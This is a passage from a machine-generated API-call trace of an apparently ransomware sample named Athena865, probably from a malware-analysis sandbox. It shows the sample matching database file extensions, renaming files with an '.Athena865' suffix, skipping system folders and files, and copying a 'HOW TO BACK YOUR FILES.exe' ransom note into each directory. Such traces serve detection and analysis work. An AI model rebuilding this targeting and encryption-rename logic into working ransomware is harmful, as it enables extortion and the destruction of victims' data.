(lpString="accdc") returned 5 [0034.112] lstrcmpiW (lpString1="l.sys", lpString2="accdc") returned 1 [0034.112] lstrlenW (lpString="accde") returned 5 [0034.112] lstrcmpiW (lpString1="l.sys", lpString2="accde") returned 1 [0034.112] lstrlenW (lpString="accdr") returned 5 [0034.112] lstrcmpiW (lpString1="l.sys", lpString2="accdr") returned 1 [0034.112] lstrlenW (lpString="accdt") returned 5 [0034.112] lstrcmpiW (lpString1="l.sys", lpString2="accdt") returned 1 [0034.112] lstrlenW (lpString="accdw") returned 5 [0034.112] lstrcmpiW (lpString1="l.sys", lpString2="accdw") returned 1 [0034.112] lstrlenW (lpString="accft") returned 5 [0034.113] lstrcmpiW (lpString1="l.sys", lpString2="accft") returned 1 [0034.113] lstrlenW (lpString="adb") returned 3 [0034.113] lstrcmpiW (lpString1="sys", lpString2="adb") returned 1 [0034.113] lstrlenW (lpString="adb") returned 3 [0034.113] lstrcmpiW (lpString1="sys", lpString2="adb") returned 1 [0034.113] lstrlenW (lpString="ade") returned 3 [0034.113] lstrcmpiW (lpString1="sys", lpString2="ade") returned 1 [0034.113] lstrlenW (lpString="adf") returned 3 [0034.113] lstrcmpiW (lpString1="sys", lpString2="adf") returned 1 [0034.113] lstrlenW (lpString="adn") returned 3 [0034.113] lstrcmpiW (lpString1="sys", lpString2="adn") returned 1 [0034.113] lstrlenW (lpString="adp") returned 3 [0034.113] lstrcmpiW (lpString1="sys", lpString2="adp") returned 1 [0034.113] lstrlenW (lpString="alf") returned 3 [0034.113] lstrcmpiW (lpString1="sys", lpString2="alf") returned 1 [0034.113] lstrlenW (lpString="ask") returned 3 [0034.113] lstrcmpiW (lpString1="sys", lpString2="ask") returned 1 [0034.113] lstrlenW (lpString="btr") returned 3 [0034.113] lstrcmpiW (lpString1="sys", lpString2="btr") returned 1 [0034.113] lstrlenW (lpString="cat") returned 3 [0034.113] lstrcmpiW (lpString1="sys", lpString2="cat") returned 1 [0034.113] lstrlenW (lpString="cdb") returned 3 [0034.113] lstrcmpiW (lpString1="sys", lpString2="cdb") returned 1 [0034.113] lstrlenW (lpString="ckp") returned 3 [0034.113] lstrcmpiW (lpString1="sys", lpString2="ckp") returned 1 [0034.113] lstrlenW (lpString="cma") returned 3 [0034.113] lstrcmpiW (lpString1="sys", lpString2="cma") returned 1 [0034.113] lstrlenW (lpString="cpd") returned 3 [0034.113] lstrcmpiW (lpString1="sys", lpString2="cpd") returned 1 [0034.113] lstrlenW (lpString="dacpac") returned 6 [0034.113] lstrcmpiW (lpString1="il.sys", lpString2="dacpac") returned 1 [0034.113] lstrlenW (lpString="dad") returned 3 [0034.113] lstrcmpiW (lpString1="sys", lpString2="dad") returned 1 [0034.113] lstrlenW (lpString="dadiagrams") returned 10 [0034.113] lstrcmpiW (lpString1="berfil.sys", lpString2="dadiagrams") returned -1 [0034.113] lstrlenW (lpString="daschema") returned 8 [0034.113] lstrcmpiW (lpString1="rfil.sys", lpString2="daschema") returned 1 [0034.113] lstrlenW (lpString="db-journal") returned 10 [0034.113] lstrcmpiW (lpString1="berfil.sys", lpString2="db-journal") returned -1 [0034.114] lstrlenW (lpString="db-shm") returned 6 [0034.114] lstrcmpiW (lpString1="il.sys", lpString2="db-shm") returned 1 [0034.114] lstrlenW (lpString="db-wal") returned 6 [0034.114] lstrcmpiW (lpString1="il.sys", lpString2="db-wal") returned 1 [0034.114] lstrlenW (lpString="dbc") returned 3 [0034.114] lstrcmpiW (lpString1="sys", lpString2="dbc") returned 1 [0034.114] lstrlenW (lpString="dbs") returned 3 [0034.114] lstrcmpiW (lpString1="sys", lpString2="dbs") returned 1 [0034.114] lstrlenW (lpString="dbt") returned 3 [0034.114] lstrcmpiW (lpString1="sys", lpString2="dbt") returned 1 [0034.114] lstrlenW (lpString="dbv") returned 3 [0034.114] lstrcmpiW (lpString1="sys", lpString2="dbv") returned 1 [0034.114] lstrlenW (lpString="dbx") returned 3 [0034.114] lstrcmpiW (lpString1="sys", lpString2="dbx") returned 1 [0034.114] lstrlenW (lpString="dcb") returned 3 [0034.114] lstrcmpiW (lpString1="sys", lpString2="dcb") returned 1 [0034.114] lstrlenW (lpString="dct") returned 3 [0034.114] lstrcmpiW (lpString1="sys", lpString2="dct") returned 1 [0034.114] lstrlenW (lpString="dcx") returned 3 [0034.114] lstrcmpiW (lpString1="sys", lpString2="dcx") returned 1 [0034.114] lstrlenW (lpString="ddl") returned 3 [0034.114] lstrcmpiW (lpString1="sys", lpString2="ddl") returned 1 [0034.114] lstrlenW (lpString="dlis") returned 4 [0034.114] lstrcmpiW (lpString1=".sys", lpString2="dlis") returned -1 [0034.114] lstrlenW (lpString="dp1") returned 3 [0034.114] lstrcmpiW (lpString1="sys", lpString2="dp1") returned 1 [0034.114] lstrlenW (lpString="dqy") returned 3 [0034.114] lstrcmpiW (lpString1="sys", lpString2="dqy") returned 1 [0034.114] lstrlenW (lpString="dsk") returned 3 [0034.114] lstrcmpiW (lpString1="sys", lpString2="dsk") returned 1 [0034.114] lstrlenW (lpString="dsn") returned 3 [0034.114] lstrcmpiW (lpString1="sys", lpString2="dsn") returned 1 [0034.114] lstrlenW (lpString="dtsx") returned 4 [0034.114] lstrcmpiW (lpString1=".sys", lpString2="dtsx") returned -1 [0034.114] lstrlenW (lpString="dxl") returned 3 [0034.114] lstrcmpiW (lpString1="sys", lpString2="dxl") returned 1 [0034.114] lstrlenW (lpString="eco") returned 3 [0034.114] lstrcmpiW (lpString1="sys", lpString2="eco") returned 1 [0034.115] lstrlenW (lpString="ecx") returned 3 [0034.115] lstrcmpiW (lpString1="sys", lpString2="ecx") returned 1 [0034.115] lstrlenW (lpString="edb") returned 3 [0034.115] lstrcmpiW (lpString1="sys", lpString2="edb") returned 1 [0034.115] lstrlenW (lpString="epim") returned 4 [0034.115] lstrcmpiW (lpString1=".sys", lpString2="epim") returned -1 [0034.115] lstrlenW (lpString="fcd") returned 3 [0034.115] lstrcmpiW (lpString1="sys", lpString2="fcd") returned 1 [0034.115] lstrlenW (lpString="fdb") returned 3 [0034.115] lstrcmpiW (lpString1="sys", lpString2="fdb") returned 1 [0034.115] lstrlenW (lpString="fic") returned 3 [0034.115] lstrcmpiW (lpString1="sys", lpString2="fic") returned 1 [0034.115] lstrlenW (lpString="flexolibrary") returned 12 [0034.115] lstrlenW (lpString="fm5") returned 3 [0034.115] lstrcmpiW (lpString1="sys", lpString2="fm5") returned 1 [0034.115] lstrlenW (lpString="fmp") returned 3 [0034.115] lstrcmpiW (lpString1="sys", lpString2="fmp") returned 1 [0034.115] lstrlenW (lpString="fmp12") returned 5 [0034.115] lstrcmpiW (lpString1="l.sys", lpString2="fmp12") returned 1 [0034.115] lstrlenW (lpString="fmpsl") returned 5 [0034.115] lstrcmpiW (lpString1="l.sys", lpString2="fmpsl") returned 1 [0034.115] lstrlenW (lpString="fol") returned 3 [0034.115] lstrcmpiW (lpString1="sys", lpString2="fol") returned 1 [0034.115] lstrlenW (lpString="fp3") returned 3 [0034.115] lstrcmpiW (lpString1="sys", lpString2="fp3") returned 1 [0034.115] lstrlenW (lpString="fp4") returned 3 [0034.115] lstrcmpiW (lpString1="sys", lpString2="fp4") returned 1 [0034.115] lstrlenW (lpString="fp5") returned 3 [0034.115] lstrcmpiW (lpString1="sys", lpString2="fp5") returned 1 [0034.115] lstrlenW (lpString="fp7") returned 3 [0034.115] lstrcmpiW (lpString1="sys", lpString2="fp7") returned 1 [0034.115] lstrlenW (lpString="fpt") returned 3 [0034.115] lstrcmpiW (lpString1="sys", lpString2="fpt") returned 1 [0034.115] lstrlenW (lpString="frm") returned 3 [0034.115] lstrcmpiW (lpString1="sys", lpString2="frm") returned 1 [0034.115] lstrlenW (lpString="gdb") returned 3 [0034.115] lstrcmpiW (lpString1="sys", lpString2="gdb") returned 1 [0034.116] lstrlenW (lpString="gdb") returned 3 [0034.116] lstrcmpiW (lpString1="sys", lpString2="gdb") returned 1 [0034.116] lstrlenW (lpString="grdb") returned 4 [0034.116] lstrcmpiW (lpString1=".sys", lpString2="grdb") returned -1 [0034.116] lstrlenW (lpString="gwi") returned 3 [0034.116] lstrcmpiW (lpString1="sys", lpString2="gwi") returned 1 [0034.116] lstrlenW (lpString="hdb") returned 3 [0034.116] lstrcmpiW (lpString1="sys", lpString2="hdb") returned 1 [0034.116] lstrlenW (lpString="his") returned 3 [0034.116] lstrcmpiW (lpString1="sys", lpString2="his") returned 1 [0034.116] lstrlenW (lpString="ib") returned 2 [0034.116] lstrcmpiW (lpString1="ys", lpString2="ib") returned 1 [0034.116] lstrlenW (lpString="idb") returned 3 [0034.116] lstrcmpiW (lpString1="sys", lpString2="idb") returned 1 [0034.116] lstrlenW (lpString="ihx") returned 3 [0034.116] lstrcmpiW (lpString1="sys", lpString2="ihx") returned 1 [0034.116] lstrlenW (lpString="itdb") returned 4 [0034.116] lstrcmpiW (lpString1=".sys", lpString2="itdb") returned -1 [0034.116] lstrlenW (lpString="itw") returned 3 [0034.116] lstrcmpiW (lpString1="sys", lpString2="itw") returned 1 [0034.116] lstrlenW (lpString="jet") returned 3 [0034.116] lstrcmpiW (lpString1="sys", lpString2="jet") returned 1 [0034.116] lstrlenW (lpString="jtx") returned 3 [0034.116] lstrcmpiW (lpString1="sys", lpString2="jtx") returned 1 [0034.116] lstrlenW (lpString="kdb") returned 3 [0034.116] lstrcmpiW (lpString1="sys", lpString2="kdb") returned 1 [0034.116] lstrlenW (lpString="kexi") returned 4 [0034.116] lstrcmpiW (lpString1=".sys", lpString2="kexi") returned -1 [0034.116] lstrlenW (lpString="kexic") returned 5 [0034.116] lstrcmpiW (lpString1="l.sys", lpString2="kexic") returned 1 [0034.116] lstrlenW (lpString="kexis") returned 5 [0034.116] lstrcmpiW (lpString1="l.sys", lpString2="kexis") returned 1 [0034.116] lstrlenW (lpString="lgc") returned 3 [0034.116] lstrcmpiW (lpString1="sys", lpString2="lgc") returned 1 [0034.116] lstrlenW (lpString="lwx") returned 3 [0034.116] lstrcmpiW (lpString1="sys", lpString2="lwx") returned 1 [0034.116] lstrlenW (lpString="maf") returned 3 [0034.116] lstrcmpiW (lpString1="sys", lpString2="maf") returned 1 [0034.116] lstrlenW (lpString="maq") returned 3 [0034.117] lstrcmpiW (lpString1="sys", lpString2="maq") returned 1 [0034.117] lstrlenW (lpString="mar") returned 3 [0034.117] lstrcmpiW (lpString1="sys", lpString2="mar") returned 1 [0034.117] lstrlenW (lpString="marshal") returned 7 [0034.117] lstrcmpiW (lpString1="fil.sys", lpString2="marshal") returned -1 [0034.117] lstrlenW (lpString="mas") returned 3 [0034.117] lstrcmpiW (lpString1="sys", lpString2="mas") returned 1 [0034.117] lstrlenW (lpString="mav") returned 3 [0034.117] lstrcmpiW (lpString1="sys", lpString2="mav") returned 1 [0034.117] lstrlenW (lpString="maw") returned 3 [0034.117] lstrcmpiW (lpString1="sys", lpString2="maw") returned 1 [0034.117] lstrlenW (lpString="mdbhtml") returned 7 [0034.117] lstrcmpiW (lpString1="fil.sys", lpString2="mdbhtml") returned -1 [0034.117] lstrlenW (lpString="mdn") returned 3 [0034.117] lstrcmpiW (lpString1="sys", lpString2="mdn") returned 1 [0034.117] lstrlenW (lpString="mdt") returned 3 [0034.117] lstrcmpiW (lpString1="sys", lpString2="mdt") returned 1 [0034.117] lstrlenW (lpString="mfd") returned 3 [0034.117] lstrcmpiW (lpString1="sys", lpString2="mfd") returned 1 [0034.117] lstrlenW (lpString="mpd") returned 3 [0034.117] lstrcmpiW (lpString1="sys", lpString2="mpd") returned 1 [0034.117] lstrlenW (lpString="mrg") returned 3 [0034.117] lstrcmpiW (lpString1="sys", lpString2="mrg") returned 1 [0034.117] lstrlenW (lpString="mud") returned 3 [0034.117] lstrcmpiW (lpString1="sys", lpString2="mud") returned 1 [0034.117] lstrlenW (lpString="mwb") returned 3 [0034.117] lstrcmpiW (lpString1="sys", lpString2="mwb") returned 1 [0034.117] lstrlenW (lpString="myd") returned 3 [0034.117] lstrcmpiW (lpString1="sys", lpString2="myd") returned 1 [0034.117] lstrlenW (lpString="ndf") returned 3 [0034.117] lstrcmpiW (lpString1="sys", lpString2="ndf") returned 1 [0034.117] lstrlenW (lpString="nnt") returned 3 [0034.117] lstrcmpiW (lpString1="sys", lpString2="nnt") returned 1 [0034.117] lstrlenW (lpString="nrmlib") returned 6 [0034.117] lstrcmpiW (lpString1="il.sys", lpString2="nrmlib") returned -1 [0034.117] lstrlenW (lpString="ns2") returned 3 [0034.117] lstrcmpiW (lpString1="sys", lpString2="ns2") returned 1 [0034.117] lstrlenW (lpString="ns3") returned 3 [0034.118] lstrcmpiW (lpString1="sys", lpString2="ns3") returned 1 [0034.118] lstrlenW (lpString="ns4") returned 3 [0034.118] lstrcmpiW (lpString1="sys", lpString2="ns4") returned 1 [0034.118] lstrlenW (lpString="nsf") returned 3 [0034.118] lstrcmpiW (lpString1="sys", lpString2="nsf") returned 1 [0034.118] lstrlenW (lpString="nv") returned 2 [0034.118] lstrcmpiW (lpString1="ys", lpString2="nv") returned 1 [0034.118] lstrlenW (lpString="nv2") returned 3 [0034.118] lstrcmpiW (lpString1="sys", lpString2="nv2") returned 1 [0034.118] lstrlenW (lpString="nwdb") returned 4 [0034.118] lstrcmpiW (lpString1=".sys", lpString2="nwdb") returned -1 [0034.118] lstrlenW (lpString="nyf") returned 3 [0034.118] lstrcmpiW (lpString1="sys", lpString2="nyf") returned 1 [0034.118] lstrlenW (lpString="odb") returned 3 [0034.118] lstrcmpiW (lpString1="sys", lpString2="odb") returned 1 [0034.118] lstrlenW (lpString="odb") returned 3 [0034.118] lstrcmpiW (lpString1="sys", lpString2="odb") returned 1 [0034.118] lstrlenW (lpString="oqy") returned 3 [0034.118] lstrcmpiW (lpString1="sys", lpString2="oqy") returned 1 [0034.118] lstrlenW (lpString="ora") returned 3 [0034.118] lstrcmpiW (lpString1="sys", lpString2="ora") returned 1 [0034.118] lstrlenW (lpString="orx") returned 3 [0034.118] lstrcmpiW (lpString1="sys", lpString2="orx") returned 1 [0034.118] lstrlenW (lpString="owc") returned 3 [0034.118] lstrcmpiW (lpString1="sys", lpString2="owc") returned 1 [0034.118] lstrlenW (lpString="p96") returned 3 [0034.118] lstrcmpiW (lpString1="sys", lpString2="p96") returned 1 [0034.118] lstrlenW (lpString="p97") returned 3 [0034.118] lstrcmpiW (lpString1="sys", lpString2="p97") returned 1 [0034.118] lstrlenW (lpString="pan") returned 3 [0034.118] lstrcmpiW (lpString1="sys", lpString2="pan") returned 1 [0034.118] lstrlenW (lpString="pdb") returned 3 [0034.118] lstrcmpiW (lpString1="sys", lpString2="pdb") returned 1 [0034.118] lstrlenW (lpString="pdm") returned 3 [0034.118] lstrcmpiW (lpString1="sys", lpString2="pdm") returned 1 [0034.118] lstrlenW (lpString="pnz") returned 3 [0034.118] lstrcmpiW (lpString1="sys", lpString2="pnz") returned 1 [0034.118] lstrlenW (lpString="qry") returned 3 [0034.119] lstrcmpiW (lpString1="sys", lpString2="qry") returned 1 [0034.119] lstrlenW (lpString="qvd") returned 3 [0034.119] lstrcmpiW (lpString1="sys", lpString2="qvd") returned 1 [0034.119] lstrlenW (lpString="rbf") returned 3 [0034.119] lstrcmpiW (lpString1="sys", lpString2="rbf") returned 1 [0034.119] lstrlenW (lpString="rctd") returned 4 [0034.119] lstrcmpiW (lpString1=".sys", lpString2="rctd") returned -1 [0034.119] lstrlenW (lpString="rod") returned 3 [0034.119] lstrcmpiW (lpString1="sys", lpString2="rod") returned 1 [0034.119] lstrlenW (lpString="rodx") returned 4 [0034.119] lstrcmpiW (lpString1=".sys", lpString2="rodx") returned -1 [0034.119] lstrlenW (lpString="rpd") returned 3 [0034.119] lstrcmpiW (lpString1="sys", lpString2="rpd") returned 1 [0034.119] lstrlenW (lpString="rsd") returned 3 [0034.119] lstrcmpiW (lpString1="sys", lpString2="rsd") returned 1 [0034.119] lstrlenW (lpString="sas7bdat") returned 8 [0034.119] lstrcmpiW (lpString1="rfil.sys", lpString2="sas7bdat") returned -1 [0034.119] lstrlenW (lpString="sbf") returned 3 [0034.119] lstrcmpiW (lpString1="sys", lpString2="sbf") returned 1 [0034.119] lstrlenW (lpString="scx") returned 3 [0034.119] lstrcmpiW (lpString1="sys", lpString2="scx") returned 1 [0034.119] lstrlenW (lpString="sdb") returned 3 [0034.119] lstrcmpiW (lpString1="sys", lpString2="sdb") returned 1 [0034.119] lstrlenW (lpString="sdc") returned 3 [0034.119] lstrcmpiW (lpString1="sys", lpString2="sdc") returned 1 [0034.119] lstrlenW (lpString="sdf") returned 3 [0034.119] lstrcmpiW (lpString1="sys", lpString2="sdf") returned 1 [0034.119] lstrlenW (lpString="sis") returned 3 [0034.119] lstrcmpiW (lpString1="sys", lpString2="sis") returned 1 [0034.119] lstrlenW (lpString="spq") returned 3 [0034.119] lstrcmpiW (lpString1="sys", lpString2="spq") returned 1 [0034.119] lstrlenW (lpString="te") returned 2 [0034.119] lstrcmpiW (lpString1="ys", lpString2="te") returned 1 [0034.119] lstrlenW (lpString="teacher") returned 7 [0034.119] lstrcmpiW (lpString1="fil.sys", lpString2="teacher") returned -1 [0034.119] lstrlenW (lpString="tmd") returned 3 [0034.119] lstrcmpiW (lpString1="sys", lpString2="tmd") returned -1 [0034.119] lstrlenW (lpString="tps") returned 3 [0034.120] lstrcmpiW (lpString1="sys", lpString2="tps") returned -1 [0034.120] lstrlenW (lpString="trc") returned 3 [0034.120] lstrcmpiW (lpString1="sys", lpString2="trc") returned -1 [0034.120] lstrlenW (lpString="trc") returned 3 [0034.120] lstrcmpiW (lpString1="sys", lpString2="trc") returned -1 [0034.120] lstrlenW (lpString="trm") returned 3 [0034.120] lstrcmpiW (lpString1="sys", lpString2="trm") returned -1 [0034.120] lstrlenW (lpString="udb") returned 3 [0034.120] lstrcmpiW (lpString1="sys", lpString2="udb") returned -1 [0034.120] lstrlenW (lpString="udl") returned 3 [0034.120] lstrcmpiW (lpString1="sys", lpString2="udl") returned -1 [0034.120] lstrlenW (lpString="usr") returned 3 [0034.120] lstrcmpiW (lpString1="sys", lpString2="usr") returned -1 [0034.120] lstrlenW (lpString="v12") returned 3 [0034.121] lstrcmpiW (lpString1="sys", lpString2="v12") returned -1 [0034.121] lstrlenW (lpString="vis") returned 3 [0034.121] lstrcmpiW (lpString1="sys", lpString2="vis") returned -1 [0034.121] lstrlenW (lpString="vpd") returned 3 [0034.121] lstrcmpiW (lpString1="sys", lpString2="vpd") returned -1 [0034.121] lstrlenW (lpString="vvv") returned 3 [0034.121] lstrcmpiW (lpString1="sys", lpString2="vvv") returned -1 [0034.121] lstrlenW (lpString="wdb") returned 3 [0034.121] lstrcmpiW (lpString1="sys", lpString2="wdb") returned -1 [0034.121] lstrlenW (lpString="wmdb") returned 4 [0034.121] lstrcmpiW (lpString1=".sys", lpString2="wmdb") returned -1 [0034.121] lstrlenW (lpString="wrk") returned 3 [0034.121] lstrcmpiW (lpString1="sys", lpString2="wrk") returned -1 [0034.121] lstrlenW (lpString="xdb") returned 3 [0034.121] lstrcmpiW (lpString1="sys", lpString2="xdb") returned -1 [0034.121] lstrlenW (lpString="xld") returned 3 [0034.121] lstrcmpiW (lpString1="sys", lpString2="xld") returned -1 [0034.121] lstrlenW (lpString="xmlff") returned 5 [0034.121] lstrcmpiW (lpString1="l.sys", lpString2="xmlff") returned -1 [0034.121] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\hiberfil.sys.Athena865") returned 25 [0034.121] MoveFileExW (lpExistingFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), lpNewFileName="C:\\hiberfil.sys.Athena865" (normalized: "c:\\hiberfil.sys.athena865"), dwFlags=0x1) returned 0 [0034.121] GetLastError () returned 0x20 [0034.121] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\hiberfil.sys MoveFileEx error 32\r\n") returned 45 [0034.122] lstrlenA (lpString="[ERROR] C:\\hiberfil.sys MoveFileEx error 32\r\n") returned 45 [0034.122] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf8 [0034.122] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x41b [0034.122] WriteFile (in: hFile=0xf8, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x2d, lpOverlapped=0x0) returned 1 [0034.122] CloseHandle (hObject=0xf8) returned 1 [0034.123] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0034.123] CloseHandle (hObject=0x0) returned 0 [0034.123] CloseHandle (hObject=0x0) returned 0 [0034.123] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc22ab40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc22ab40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0034.123] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0034.123] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0034.123] lstrcmpiW (lpString1="MSOCache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.123] lstrcmpiW (lpString1="MSOCache", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.123] lstrcmpiW (lpString1="MSOCache", lpString2=".") returned 1 [0034.123] lstrcmpiW (lpString1="MSOCache", lpString2="..") returned 1 [0034.123] lstrcmpiW (lpString1="MSOCache", lpString2="windows") returned -1 [0034.123] lstrcmpiW (lpString1="MSOCache", lpString2="bootmgr") returned 1 [0034.123] lstrcmpiW (lpString1="MSOCache", lpString2="temp") returned -1 [0034.123] lstrcmpiW (lpString1="MSOCache", lpString2="pagefile.sys") returned -1 [0034.123] lstrcmpiW (lpString1="MSOCache", lpString2="boot") returned 1 [0034.123] lstrcmpiW (lpString1="MSOCache", lpString2="ids.txt") returned 1 [0034.123] lstrcmpiW (lpString1="MSOCache", lpString2="ntuser.dat") returned -1 [0034.123] lstrcmpiW (lpString1="MSOCache", lpString2="perflogs") returned -1 [0034.123] lstrcmpiW (lpString1="MSOCache", lpString2="MSBuild") returned 1 [0034.123] lstrlenW (lpString="MSOCache") returned 8 [0034.123] lstrcpyW (in: lpString1=0x241e84e, lpString2="MSOCache" | out: lpString1="MSOCache") returned="MSOCache" [0034.123] SetFileAttributesW (lpFileName="C:\\MSOCache", dwFileAttributes=0x2012) returned 1 [0034.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509008 [0034.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x510af0 [0034.124] lstrcatW (in: lpString1="MSOCache", lpString2="\\" | out: lpString1="MSOCache\\") returned="MSOCache\\" [0034.124] lstrcatW (in: lpString1="MSOCache\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSOCache\\HOW TO BACK YOUR FILES.exe") returned="MSOCache\\HOW TO BACK YOUR FILES.exe" [0034.124] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.126] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x814762c0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0034.126] lstrcmpiW (lpString1="pagefile.sys", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.126] lstrcmpiW (lpString1="pagefile.sys", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.126] lstrcmpiW (lpString1="pagefile.sys", lpString2=".") returned 1 [0034.126] lstrcmpiW (lpString1="pagefile.sys", lpString2="..") returned 1 [0034.126] lstrcmpiW (lpString1="pagefile.sys", lpString2="windows") returned -1 [0034.126] lstrcmpiW (lpString1="pagefile.sys", lpString2="bootmgr") returned 1 [0034.126] lstrcmpiW (lpString1="pagefile.sys", lpString2="temp") returned -1 [0034.126] lstrcmpiW (lpString1="pagefile.sys", lpString2="pagefile.sys") returned 0 [0034.126] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0034.126] lstrcmpiW (lpString1="PerfLogs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.126] lstrcmpiW (lpString1="PerfLogs", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.126] lstrcmpiW (lpString1="PerfLogs", lpString2=".") returned 1 [0034.126] lstrcmpiW (lpString1="PerfLogs", lpString2="..") returned 1 [0034.126] lstrcmpiW (lpString1="PerfLogs", lpString2="windows") returned -1 [0034.126] lstrcmpiW (lpString1="PerfLogs", lpString2="bootmgr") returned 1 [0034.126] lstrcmpiW (lpString1="PerfLogs", lpString2="temp") returned -1 [0034.126] lstrcmpiW (lpString1="PerfLogs", lpString2="pagefile.sys") returned 1 [0034.126] lstrcmpiW (lpString1="PerfLogs", lpString2="boot") returned 1 [0034.126] lstrcmpiW (lpString1="PerfLogs", lpString2="ids.txt") returned 1 [0034.127] lstrcmpiW (lpString1="PerfLogs", lpString2="ntuser.dat") returned 1 [0034.127] lstrcmpiW (lpString1="PerfLogs", lpString2="perflogs") returned 0 [0034.127] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb3937220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb3937220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0034.127] lstrcmpiW (lpString1="Program Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.127] lstrcmpiW (lpString1="Program Files", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.127] lstrcmpiW (lpString1="Program Files", lpString2=".") returned 1 [0034.127] lstrcmpiW (lpString1="Program Files", lpString2="..") returned 1 [0034.127] lstrcmpiW (lpString1="Program Files", lpString2="windows") returned -1 [0034.127] lstrcmpiW (lpString1="Program Files", lpString2="bootmgr") returned 1 [0034.127] lstrcmpiW (lpString1="Program Files", lpString2="temp") returned -1 [0034.127] lstrcmpiW (lpString1="Program Files", lpString2="pagefile.sys") returned 1 [0034.127] lstrcmpiW (lpString1="Program Files", lpString2="boot") returned 1 [0034.127] lstrcmpiW (lpString1="Program Files", lpString2="ids.txt") returned 1 [0034.127] lstrcmpiW (lpString1="Program Files", lpString2="ntuser.dat") returned 1 [0034.127] lstrcmpiW (lpString1="Program Files", lpString2="perflogs") returned 1 [0034.127] lstrcmpiW (lpString1="Program Files", lpString2="MSBuild") returned 1 [0034.127] lstrlenW (lpString="Program Files") returned 13 [0034.127] lstrcpyW (in: 